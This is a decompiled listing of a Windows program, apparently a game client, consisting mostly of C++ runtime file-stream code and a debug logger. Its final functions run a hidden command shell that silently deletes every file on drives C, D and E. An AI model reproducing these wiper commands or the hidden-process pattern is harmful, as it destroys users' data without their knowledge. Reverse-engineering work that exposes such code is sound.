dl@4 const char v8; // cl@6 _iobuf *v9; // eax@7 _iobuf *v10; // esi@7 struct _SYSTEMTIME LocalTime; // [sp+Ch] [bp-B2Ch]@7 unsigned int v12; // [sp+1Ch] [bp-B1Ch]@5 char CurrentDate[128]; // [sp+20h] [bp-B18h]@7 int (__thiscall **MsgFNMiddle)(OptionReader *, int); // [sp+A0h] [bp-A98h]@2 char v15; // [sp+A4h] [bp-A94h]@2 char MsgFNFull[260]; // [sp+1A8h] [bp-990h]@7 char CurrentTime[128]; // [sp+2B0h] [bp-888h]@7 char msgbuff[1024]; // [sp+330h] [bp-808h]@2 char Msg[1024]; // [sp+730h] [bp-408h]@2 unsigned int v20; // [sp+B34h] [bp-4h]@1 int v21; // [sp+B38h] [bp+0h]@1 v20 = (unsigned int)&v21 ^ __security_cookie; if ( bView ) { _vsnprintf(msgbuff, 0x400u, lpszFormat, args); ++gDebugMessageCounter; GetCurrentTimeString(0); sprintf(Msg, "%06d %s%s\n"); MsgFNMiddle = &off_67734D; memset(&v15, 0, 0x100u); v4 = sFN; if ( sFN != byte_635E1E ) { v5 = sFN; v6 = sFN + 1; do v7 = *v5++; while ( v7 ); v12 = v5 - v6; if ( v5 != v6 ) { do { v8 = *v4; v4[(char *)&MsgFNMiddle - sFN] = *v4; ++v4; } while ( v8 ); } } GetLocalTime(&LocalTime); sprintf(CurrentDate, "%04d-%02d-%02d"); sprintf(CurrentTime, "%02d:%02d:%02d"); sprintf(MsgFNFull, ".\\DebugMessage\\%s_%s.txt"); MakeSureDirectoryPathExists(MsgFNFull); v9 = fopen(MsgFNFull, "a+"); v10 = v9; if ( v9 ) { fprintf(v9, Msg); fclose(v10); } } } // 67734D: using guessed type int (__thiscall *off_67734D)(OptionReader *this, int world); // 15354DAC: using guessed type unsigned __int16 gDebugMessageCounter; //----- (005E68D0) -------------------------------------------------------- std::locale *__thiscall std::basic_streambuf>::getloc(std::basic_streambuf > *this, std::locale *result) { std::locale v2; // esi@1 std::locale *v3; // edi@1 unsigned int v4; // eax@1 v2 = *this->_Plocale; v3 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v2; std::_Lockit::_Lockit((std::_Lockit *)&result, 0); v4 = *(_DWORD *)(*(_DWORD *)&v2 + 4); if ( v4 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v2 + 4) = v4 + 1; std::_Lockit::__Lockit((std::_Lockit *)&result); return v3; } //----- (005E6910) -------------------------------------------------------- void __cdecl _DEBUGMSG(const char *lpszFormat) { char args; // [sp+8h] [bp+8h]@0 _DebugMessageNew2(1, "Msg", lpszFormat, &args); } //----- (005E6930) -------------------------------------------------------- void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat) { char args; // [sp+Ch] [bp+Ch]@0 _DebugMessageNew2(bView, "Msg", lpszFormat, &args); } //----- (005E6950) -------------------------------------------------------- void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat) { char args; // [sp+10h] [bp+10h]@0 _DebugMessageNew2(bView, sFN, lpszFormat, &args); } //----- (005E6970) -------------------------------------------------------- void __thiscall std::codecvt::codecvt(std::codecvt *this, unsigned int _Refs) { std::_Locinfo thisa; // [sp+8h] [bp-80h]@1 int v3; // [sp+84h] [bp-4h]@1 this->baseclass_0.baseclass_0._Refs = _Refs; v3 = 0; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::codecvt::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); std::_Locinfo::__Locinfo(&thisa); } // 688690: using guessed type int (__thiscall *std__codecvt_char_char_int____vftable_)(void *p, char); //----- (005E69E0) -------------------------------------------------------- int __thiscall std::codecvt::do_out(std::codecvt *this, int *__formal, const char *_First1, const char *a4, const char **_Mid1, char *_First2, char *a7, char **_Mid2) { *_Mid1 = _First1; *_Mid2 = _First2; return 3; } //----- (005E6A00) -------------------------------------------------------- int __thiscall std::codecvt::do_unshift(std::codecvt *this, int *__formal, char *a3, char *a4, char **a5) { return 3; } //----- (005E6A10) -------------------------------------------------------- int __thiscall std::codecvt::do_length(std::codecvt *this, const int *__formal, const char *_First1, const char *_Last1, unsigned int _Count) { int result; // eax@1 result = _Last1 - _First1; if ( _Count < _Last1 - _First1 ) result = _Count; return result; } //----- (005E6A30) -------------------------------------------------------- unsigned int __cdecl std::codecvt::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(8u); if ( v1 ) std::codecvt::codecvt((std::codecvt *)v1, 0); else v2 = 0; *_Ppf = v2; } return 2; } //----- (005E6AA0) -------------------------------------------------------- std::basic_streambuf > *__thiscall std::basic_filebuf>::setbuf(std::basic_filebuf > *this, char *_Buffer, int _Count) { std::basic_streambuf > *v3; // edi@1 _iobuf *v4; // ecx@1 int v5; // eax@4 std::basic_streambuf > *result; // eax@7 v3 = (std::basic_streambuf > *)this; v4 = this->_Myfile; if ( !v4 || (_Buffer || _Count ? (v5 = 0) : (v5 = 4), setvbuf(v4, _Buffer, v5, _Count)) ) result = 0; else result = v3; return result; } //----- (005E6AF0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::sync(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int result; // eax@4 v1 = this; if ( this->_Myfile && ((int (__stdcall *)(_DWORD))this->baseclass_0.vfptr->overflow)(-1) != -1 && fflush(v1->_Myfile) < 0 ) result = -1; else result = 0; return result; } //----- (005E6B20) -------------------------------------------------------- int __thiscall std::basic_filebuf>::pbackfail(std::basic_filebuf > *this, int _Meta) { std::basic_filebuf > *v2; // esi@1 char *v3; // eax@1 int v5; // eax@10 char **v6; // edx@11 v2 = this; v3 = *this->baseclass_0._IGnext; if ( v3 && *this->baseclass_0._IGfirst < v3 && (_Meta == -1 || *(v3 - 1) == _Meta) ) { std::basic_streambuf>::_Gndec(&this->baseclass_0); return _Meta & ((_Meta == -1) - 1); } if ( this->_Myfile && _Meta != -1 ) { if ( !this->_Pcvt && ungetc((unsigned __int8)_Meta, this->_Myfile) != -1 ) return _Meta; v5 = (int)&v2->_Mychar; if ( (char *)*(std::basic_filebuf > **)v2->baseclass_0._IGnext != &v2->_Mychar ) { v6 = v2->baseclass_0._IGfirst; *(_BYTE *)v5 = _Meta; *v6 = (char *)v5; *v2->baseclass_0._IGnext = (char *)v5; *v2->baseclass_0._IGcount = 1; return _Meta; } } return -1; } //----- (005E6BD0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::underflow(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int **v2; // eax@1 int result; // eax@3 int v4; // edi@4 v1 = this; v2 = (int **)this->baseclass_0._IGnext; if ( *v2 && *v2 < (int *)((char *)*v2 + *this->baseclass_0._IGcount) ) { result = *(_BYTE *)*v2; } else { result = this->baseclass_0.vfptr->uflow((std::basic_streambuf > *)this); v4 = result; if ( result != -1 ) { v1->baseclass_0.vfptr->pbackfail((std::basic_streambuf > *)v1, result); result = v4; } } return result; } //----- (005E6C20) -------------------------------------------------------- void __thiscall std::basic_filebuf>::_Initcvt(std::basic_filebuf > *this, std::codecvt *_Newpcvt) { std::basic_filebuf > *v2; // esi@1 void *v3; // eax@4 v2 = this; if ( (unsigned __int8)((int (__thiscall *)(_DWORD))_Newpcvt->baseclass_0.baseclass_0.vfptr[1].__vecDelDtor)(_Newpcvt) ) { v2->_Pcvt = 0; } else { v2->_Pcvt = _Newpcvt; std::basic_streambuf>::_Init(&v2->baseclass_0); if ( !v2->_Mystr ) { v3 = operator new(0x1Cu); if ( v3 ) { *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; *((_BYTE *)v3 + 4) = 0; v2->_Mystr = (std::basic_string,std::allocator > *)v3; } else { v2->_Mystr = 0; } } } } //----- (005E6C90) -------------------------------------------------------- std::codecvt *__cdecl std::use_facet>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>::_Psave; v9 = 0; _Psave = std::_Facetptr>::_Psave; if ( !std::codecvt::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::codecvt::id ) { ++std::locale::id::_Id_cnt; std::codecvt::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::codecvt::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::codecvt::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::codecvt *)v2; } // 153552B4: using guessed type int std___Facetptr_std__codecvt_char_char_int_____Psave; // 1535F460: using guessed type int std__locale__id___Id_cnt; //----- (005E6DA0) -------------------------------------------------------- void __thiscall std::basic_filebuf>::imbue(std::basic_filebuf > *this, std::locale *_Loc) { std::basic_filebuf > *v2; // esi@1 std::codecvt *v3; // eax@1 v2 = this; v3 = std::use_facet>(_Loc); std::basic_filebuf>::_Initcvt(v2, v3); } //----- (005E6DC0) -------------------------------------------------------- std::basic_filebuf > *__thiscall std::basic_filebuf>::open(std::basic_filebuf > *this, const char *_Filename, int _Mode, int _Prot) { std::basic_filebuf > *v4; // esi@1 _iobuf *v5; // edi@2 std::locale *v6; // eax@3 std::codecvt *v7; // eax@3 int v8; // edi@3 unsigned int v9; // eax@4 int v10; // edi@7 std::basic_filebuf > *result; // eax@9 v4 = this; if ( this->_Myfile || (v5 = std::_Fiopen(_Filename, _Mode, _Prot)) == 0 ) { result = 0; } else { v4->_Closef = 1; v4->_Wrotesome = 0; std::basic_streambuf>::_Init(&v4->baseclass_0); v4->baseclass_0._IGcount = &v5->_cnt; v4->baseclass_0._IPcount = &v5->_cnt; v4->baseclass_0._IGfirst = &v5->_base; v4->baseclass_0._IPfirst = &v5->_base; v4->baseclass_0._IGnext = (char **)v5; v4->baseclass_0._IPnext = (char **)v5; v4->_Myfile = v5; v4->_State = _Stinit; v4->_State0 = _Stinit; v4->_Pcvt = 0; v6 = std::basic_streambuf>::getloc(&v4->baseclass_0, (std::locale *)&_Prot); v7 = std::use_facet>(v6); std::basic_filebuf>::_Initcvt(v4, v7); v8 = _Prot; if ( _Prot ) { std::_Lockit::_Lockit((std::_Lockit *)&_Mode, 0); v9 = *(_DWORD *)(v8 + 4); if ( v9 && v9 < 0xFFFFFFFF ) *(_DWORD *)(v8 + 4) = v9 - 1; v10 = ((*(_DWORD *)(v8 + 4) != 0) - 1) & v8; std::_Lockit::__Lockit((std::_Lockit *)&_Mode); if ( v10 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v10)(v10, 1); } result = v4; } return result; } // 153552B0: using guessed type int _Stinit; //----- (005E6EF0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { int v3; // ebx@0 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // eax@5 bool v6; // cf@6 bool v7; // zf@6 void *v8; // edi@9 std::basic_string,std::allocator > *result; // eax@12 int v10; // eax@15 unsigned int v11; // edi@15 unsigned int i; // ecx@15 v4 = this; if ( _Count == -1 ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( _Count > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v5 = this->_Myres; if ( v5 >= _Count ) { v6 = 0; v7 = _Count == 0; if ( !_Count ) { this->_Mysize = 0; if ( v5 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } } else { std::basic_string_std::allocator>::_Copy(this, _Count, this->_Mysize); v6 = 0; v7 = _Count == 0; } if ( !(v6 | v7) ) { if ( v4->_Myres < 0x10 ) v8 = &v4->_Bx; else v8 = *(void **)&v4->_Bx._Buf[0]; LOBYTE(v3) = _Ch; BYTE1(v3) = _Ch; v10 = v3 << 16; LOWORD(v10) = v3; memset32(v8, v10, _Count >> 2); v11 = (unsigned int)((char *)v8 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v11++ = _Ch; v6 = v4->_Myres < 0x10; v4->_Mysize = _Count; if ( !v6 ) { *(_BYTE *)(*(_DWORD *)&v4->_Bx._Buf[0] + _Count) = 0; return v4; } v4->_Bx._Buf[_Count] = 0; } return v4; } //----- (005E6FB0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::uflow(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 char **v2; // ecx@1 int *v3; // eax@2 char **v4; // esi@3 int *v5; // eax@3 int result; // eax@3 std::basic_string,std::allocator > *v7; // ecx@9 int v8; // eax@9 signed int v9; // ebx@10 std::basic_string,std::allocator > *v10; // eax@11 int v11; // edi@12 unsigned int v12; // edx@14 int v13; // eax@15 int v14; // eax@17 int v15; // eax@18 std::basic_string,std::allocator > *v16; // ecx@22 int v17; // eax@23 std::basic_string,std::allocator > *v18; // esi@28 std::basic_string,std::allocator > *v19; // eax@31 int v20; // ecx@32 int v21; // edi@34 int v22; // eax@35 unsigned __int8 _Ch; // [sp+1Dh] [bp-9h]@17 char *_Source; // [sp+1Eh] [bp-8h]@17 void *_Dest; // [sp+22h] [bp-4h]@17 v1 = this; v2 = this->baseclass_0._IGnext; if ( *v2 ) { v3 = v1->baseclass_0._IGcount; if ( *v2 < &(*v2)[*v3] ) { --*v3; v4 = v1->baseclass_0._IGnext; v5 = (int *)(*v4)++; return *(_BYTE *)v5; } } if ( !v1->_Myfile ) return -1; if ( v1->_Pcvt ) { v7 = v1->_Mystr; v1->_State0 = v1->_State; std::basic_string_std::allocator>::erase(v7, 0, 0xFFFFFFFFu); v8 = getc(v1->_Myfile); if ( v8 == -1 ) { LABEL_27: result = -1; } else { v9 = 16; while ( 1 ) { std::basic_string_std::allocator>::append(v1->_Mystr, 1u, v8); v10 = v1->_Mystr; v11 = (int)(v10->_Myres < v9 ? &v10->_Bx : *(_DWORD *)&v10->_Bx._Buf[0]); v12 = v10->_Mysize; v13 = (int)(v10->_Myres < v9 ? &v10->_Bx : *(_DWORD *)&v10->_Bx._Buf[0]); v14 = ((int (__stdcall *)(int *, int, unsigned int, char **, unsigned __int8 *, char **, void **))v1->_Pcvt->baseclass_0.baseclass_0.vfptr[4].__vecDelDtor)( &v1->_State, v13, v12 + v11, &_Source, &_Ch, &_Source, &_Dest); if ( !v14 ) break; v15 = v14 - 1; if ( v15 ) { if ( v15 != 2 ) goto LABEL_27; if ( v1->_Mystr->_Mysize >= 1 ) { v18 = v1->_Mystr; if ( v18->_Myres < 0x10 ) result = v18->_Bx._Buf[0]; else result = **(_BYTE **)&v18->_Bx._Buf[0]; return result; } v9 = 16; } else { v16 = v1->_Mystr; v9 = 16; if ( v16->_Myres < 0x10 ) v17 = (int)&v16->_Bx; else v17 = *(_DWORD *)&v16->_Bx._Buf[0]; std::basic_string_std::allocator>::erase( v16, 0, (unsigned int)&_Source[-v17]); } v8 = getc(v1->_Myfile); if ( v8 == -1 ) goto LABEL_27; } v19 = v1->_Mystr; if ( v19->_Myres < 0x10 ) v20 = (int)&v19->_Bx; else v20 = *(_DWORD *)&v19->_Bx._Buf[0]; v21 = v20 + v19->_Mysize - (_DWORD)_Source; while ( v21 > 0 ) { v22 = _Source[v21-- - 1]; ungetc(v22, v1->_Myfile); } result = _Ch; } } else { result = getc(v1->_Myfile); if ( result == -1 ) return -1; result = (unsigned __int8)result; } return result; } //----- (005E7170) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { this->_Mysize = 0; this->_Myres = 15; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Count, _Ch); } //----- (005E71A0) -------------------------------------------------------- bool __thiscall std::basic_filebuf>::_Endwrite(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 void *v2; // eax@4 void *v3; // edx@4 int v4; // eax@6 int v5; // eax@7 std::pair,std::allocator > const ,int> *v6; // ecx@8 bool result; // al@10 const void *v8; // eax@12 void *v9; // ecx@12 char *_Dest; // [sp+14h] [bp-30h]@1 char _Str; // [sp+18h] [bp-2Ch]@8 void *buffer; // [sp+1Ch] [bp-28h]@3 int v13; // [sp+20h] [bp-24h]@3 char v14; // [sp+24h] [bp-20h]@3 int v15; // [sp+2Ch] [bp-18h]@3 unsigned int v16; // [sp+30h] [bp-14h]@3 unsigned int v17; // [sp+34h] [bp-10h]@1 int v18; // [sp+40h] [bp-4h]@3 v1 = this; v17 = (unsigned int)&_Dest ^ __security_cookie; if ( !this->_Pcvt || !this->_Wrotesome ) goto LABEL_10; ((void (__stdcall *)(signed int))this->baseclass_0.vfptr->overflow)(-1); v16 = 15; buffer = 0; v13 = 0; v15 = 8; v14 = 0; v18 = 0; while ( 1 ) { v2 = buffer; v3 = buffer; if ( v16 < 0x10 ) { v3 = &buffer; v2 = &buffer; } v4 = ((int (__stdcall *)(int *, void *, char *, char **))v1->_Pcvt->baseclass_0.baseclass_0.vfptr[6].__vecDelDtor)( &v1->_State, v2, (char *)v3 + v15, &_Dest); if ( v4 ) break; v1->_Wrotesome = 0; LABEL_12: v8 = buffer; v9 = buffer; if ( v16 < 0x10 ) v9 = &buffer; if ( _Dest != v9 ) { if ( v16 < 0x10 ) v8 = &buffer; if ( _Dest - v9 != fwrite(v8, _Dest - v9, 1u, v1->_Myfile) ) { v6 = (std::pair,std::allocator > const ,int> *)&_Str; goto LABEL_21; } } v6 = (std::pair,std::allocator > const ,int> *)&_Str; if ( !v1->_Wrotesome ) goto LABEL_9; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Str, 8u, 0); } v5 = v4 - 1; if ( !v5 ) goto LABEL_12; v6 = (std::pair,std::allocator > const ,int> *)&_Str; if ( v5 == 2 ) { LABEL_9: std::basic_string_std::allocator>::_basic_string_std::allocator>(v6); goto LABEL_10; } LABEL_21: std::basic_string_std::allocator>::_basic_string_std::allocator>(v6); LABEL_10: __security_check_cookie((unsigned int)&_Dest ^ v17); return result; } //----- (005E72F0) -------------------------------------------------------- int __thiscall std::basic_filebuf>::overflow(std::basic_filebuf > *this, int _Meta) { std::basic_filebuf > *v2; // esi@1 char *v3; // ecx@2 int *v4; // eax@3 char **v5; // esi@4 char *v6; // eax@4 std::basic_string,std::allocator > *v7; // ecx@10 const void *v8; // eax@11 unsigned int v9; // ebp@11 void **v10; // edx@12 int v11; // eax@14 void *v12; // ecx@16 unsigned int v13; // edi@18 bool v14; // zf@23 int result; // eax@32 char v16; // [sp+1Ah] [bp-38h]@1 char *_Dest; // [sp+1Eh] [bp-34h]@14 char *_Source; // [sp+22h] [bp-30h]@14 char _Str; // [sp+26h] [bp-2Ch]@25 void *buffer; // [sp+2Ah] [bp-28h]@10 int v21; // [sp+2Eh] [bp-24h]@10 char v22; // [sp+32h] [bp-20h]@10 unsigned int v23; // [sp+3Ah] [bp-18h]@10 unsigned int v24; // [sp+3Eh] [bp-14h]@10 unsigned int v25; // [sp+42h] [bp-10h]@1 int v26; // [sp+4Eh] [bp-4h]@10 v25 = (unsigned int)&v16 ^ __security_cookie; v2 = this; if ( _Meta != -1 ) { v3 = *this->baseclass_0._IPnext; if ( v3 && (v4 = v2->baseclass_0._IPcount, v3 < &v3[*v4]) ) { --*v4; v5 = v2->baseclass_0._IPnext; v6 = (*v5)++; *v6 = _Meta; } else { if ( v2->_Myfile ) { if ( v2->_Pcvt ) { v7 = v2->_Mystr; *(&v16 + 3) = _Meta; std::basic_string_std::allocator>::erase(v7, 0, 0xFFFFFFFFu); v24 = 15; buffer = 0; v21 = 0; v23 = 8; v22 = 0; v26 = 0; LABEL_11: v8 = buffer; v9 = v24; while ( 1 ) { v10 = (void **)v8; if ( v9 < 0x10 ) { v10 = &buffer; v8 = &buffer; } v11 = ((int (__stdcall *)(int *, char *, char **, char **, const void *, void **, char **))v2->_Pcvt->baseclass_0.baseclass_0.vfptr[5].__vecDelDtor)( &v2->_State, &v16 + 3, &_Dest, &_Source, v8, &v10[v23 / 4], &_Dest); if ( v11 < 0 ) goto LABEL_31; if ( v11 > 1 ) break; v9 = v24; v8 = buffer; v12 = buffer; if ( v24 < 0x10 ) v12 = &buffer; v13 = _Dest - v12; if ( _Dest != v12 ) { if ( v24 < 0x10 ) v8 = &buffer; if ( v13 != fwrite(v8, 1u, v13, v2->_Myfile) ) goto LABEL_31; v8 = buffer; v9 = v24; } v14 = _Source == &v16 + 3; v2->_Wrotesome = 1; if ( !v14 ) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); goto LABEL_32; } if ( !v13 ) { std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Str, 8u, 0); goto LABEL_11; } } if ( v11 != 3 ) { LABEL_31: std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); goto LABEL_32; } if ( fputc(*(&v16 + 3), v2->_Myfile) == -1 ) std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); else std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&_Str); } else { fputc((char)_Meta, v2->_Myfile) == -1; } } } } LABEL_32: __security_check_cookie((unsigned int)&v16 ^ v25); return result; } //----- (005E7500) -------------------------------------------------------- std::fpos *__thiscall std::basic_filebuf>::seekoff(std::basic_filebuf > *this, std::fpos *result, int _Off, int _Way, int __formal) { std::basic_filebuf > *v5; // esi@1 char **v6; // ecx@1 unsigned int i; // edi@6 std::basic_string,std::allocator > *v8; // eax@7 int v9; // eax@8 int v10; // eax@18 std::fpos *v11; // eax@20 __int64 v12; // kr00_8@20 fpos_t _Fileposition; // [sp+8h] [bp-8h]@17 v5 = this; v6 = this->baseclass_0._IGnext; if ( &(*v6)[*v5->baseclass_0._IGcount] > *v6 && *v6 == &v5->_Mychar && _Way == 1 ) { if ( v5->_Pcvt ) { for ( i = v5->_Mystr->_Mysize; (signed int)i > 0; ungetc(*(_BYTE *)(v9 + i), v5->_Myfile) ) { v8 = v5->_Mystr; --i; if ( v8->_Myres < 0x10 ) v9 = (int)&v8->_Bx; else v9 = *(_DWORD *)&v8->_Bx._Buf[0]; } std::basic_string_std::allocator>::erase(v5->_Mystr, 0, 0xFFFFFFFFu); v5->_State = v5->_State0; } else { --_Off; } } if ( !v5->_Myfile || !std::basic_filebuf>::_Endwrite(v5) || (_Off || _Way != 1) && fseek(v5->_Myfile, _Off, _Way) || fgetpos(v5->_Myfile, &_Fileposition) ) { v11 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; } else { v10 = (int)&v5->_Mychar; if ( (char *)*(std::basic_filebuf > **)v5->baseclass_0._IGnext == &v5->_Mychar ) { *v5->baseclass_0._IGfirst = (char *)v10; *v5->baseclass_0._IGnext = (char *)v10; *v5->baseclass_0._IGcount = 0; } v11 = result; v12 = _Fileposition; result->_Mystate = v5->_State; result->_Myoff = 0; result->_Fpos = v12; } return v11; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (005E7640) -------------------------------------------------------- std::fpos *__thiscall std::basic_filebuf>::seekpos(std::basic_filebuf > *this, std::fpos *result, std::fpos _Pos, int __formal) { std::basic_filebuf > *v4; // esi@1 std::basic_string,std::allocator > *v5; // ecx@7 int v6; // eax@9 std::fpos *v7; // eax@11 __int64 v8; // kr00_8@11 fpos_t _Fileposition; // [sp+4h] [bp-8h]@1 v4 = this; _Fileposition = _Pos._Fpos; if ( !this->_Myfile || !std::basic_filebuf>::_Endwrite(this) || fsetpos(v4->_Myfile, &_Fileposition) || _Pos._Myoff && fseek(v4->_Myfile, _Pos._Myoff, 1) || fgetpos(v4->_Myfile, &_Fileposition) ) { v7 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; } else { v5 = v4->_Mystr; if ( v5 ) { v4->_State = _Pos._Mystate; std::basic_string_std::allocator>::erase(v5, 0, 0xFFFFFFFFu); } v6 = (int)&v4->_Mychar; if ( (char *)*(std::basic_filebuf > **)v4->baseclass_0._IGnext == &v4->_Mychar ) { *v4->baseclass_0._IGfirst = (char *)v6; *v4->baseclass_0._IGnext = (char *)v6; *v4->baseclass_0._IGcount = 0; } v7 = result; v8 = _Fileposition; result->_Mystate = v4->_State; result->_Myoff = 0; result->_Fpos = v8; } return v7; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (005E7750) -------------------------------------------------------- std::basic_filebuf > *__thiscall std::basic_filebuf>::close(std::basic_filebuf > *this) { std::basic_filebuf > *v1; // esi@1 int v2; // edx@4 std::basic_filebuf > *result; // eax@4 v1 = this; if ( this->_Myfile && std::basic_filebuf>::_Endwrite(this) && !fclose(v1->_Myfile) ) { v1->_Closef = 0; v1->_Wrotesome = 0; std::basic_streambuf>::_Init(&v1->baseclass_0); v1->_Myfile = 0; v1->_State = _Stinit; v2 = _Stinit; v1->_Pcvt = 0; v1->_State0 = v2; result = v1; } else { result = 0; } return result; } // 153552B0: using guessed type int _Stinit; //----- (005E7840) -------------------------------------------------------- void *__thiscall std::basic_filebuf>::_scalar_deleting_destructor_(std::basic_filebuf > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_filebuf>::_basic_filebuf>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005E7860) -------------------------------------------------------- unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams) { char *v2; // eax@1 char *v3; // edx@2 char v4; // cl@3 int v5; // eax@5 char v6; // cl@6 char *v7; // edi@7 char v8; // al@8 char v9; // cl@9 unsigned int v10; // eax@9 void *v11; // edi@9 char v12; // cl@10 char *v13; // edi@11 char v14; // al@12 unsigned int v15; // eax@13 void *v16; // edi@13 char v17; // cl@14 unsigned int result; // eax@16 unsigned int ExitCode; // [sp+Ch] [bp-105Ch]@1 struct _PROCESS_INFORMATION ProcessInformation; // [sp+10h] [bp-1058h]@15 struct _STARTUPINFOA StartupInfo; // [sp+20h] [bp-1048h]@1 char CommandLine[4096]; // [sp+64h] [bp-1004h]@1 unsigned int v23; // [sp+1064h] [bp-4h]@1 v23 = (unsigned int)&ExitCode ^ __security_cookie; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; StartupInfo.dwFlags = 1; StartupInfo.wShowWindow = 0; CommandLine[0] = 0; v2 = getenv("COMSPEC"); if ( v2 ) { v3 = (char *)(CommandLine - v2); do { v4 = *v2; v2[(_DWORD)v3] = *v2; ++v2; } while ( v4 ); } else { v5 = 0; do { v6 = aC_8[v5]; CommandLine[v5++] = v6; } while ( v6 ); } v7 = (char *)&StartupInfo.hStdError + 3; do v8 = (v7++)[1]; while ( v8 ); v9 = aC_11[4]; *(_DWORD *)v7 = *(_DWORD *)" /c "; v7[4] = v9; v10 = strlen(strFunct) + 1; v11 = (char *)&StartupInfo.hStdError + 3; do { v12 = *((_BYTE *)v11 + 1); v11 = (char *)v11 + 1; } while ( v12 ); memcpy(v11, strFunct, v10); v13 = (char *)&StartupInfo.hStdError + 3; do v14 = (v13++)[1]; while ( v14 ); *(_WORD *)v13 = stru_63450C.maa_MobHandle; v15 = strlen(strstrParams) + 1; v16 = (char *)&StartupInfo.hStdError + 3; do { v17 = *((_BYTE *)v16 + 1); v16 = (char *)v16 + 1; } while ( v17 ); memcpy(v16, strstrParams, v15); if ( CreateProcessA(0, CommandLine, 0, 0, 0, 0x10u, 0, 0, &StartupInfo, &ProcessInformation) ) { WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFFu); if ( !GetExitCodeProcess(ProcessInformation.hProcess, &ExitCode) ) ExitCode = 0; CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); result = ExitCode; } else { result = GetLastError(); } return result; } // 5E7860: using guessed type char CommandLine[4096]; //----- (005E7A10) -------------------------------------------------------- unsigned int __stdcall CDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "c:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (005E7A40) -------------------------------------------------------- unsigned int __stdcall DDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "d:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (005E7A70) -------------------------------------------------------- unsigned int __stdcall EDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "e:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (005E7AA0) -------------------------------------------------------- 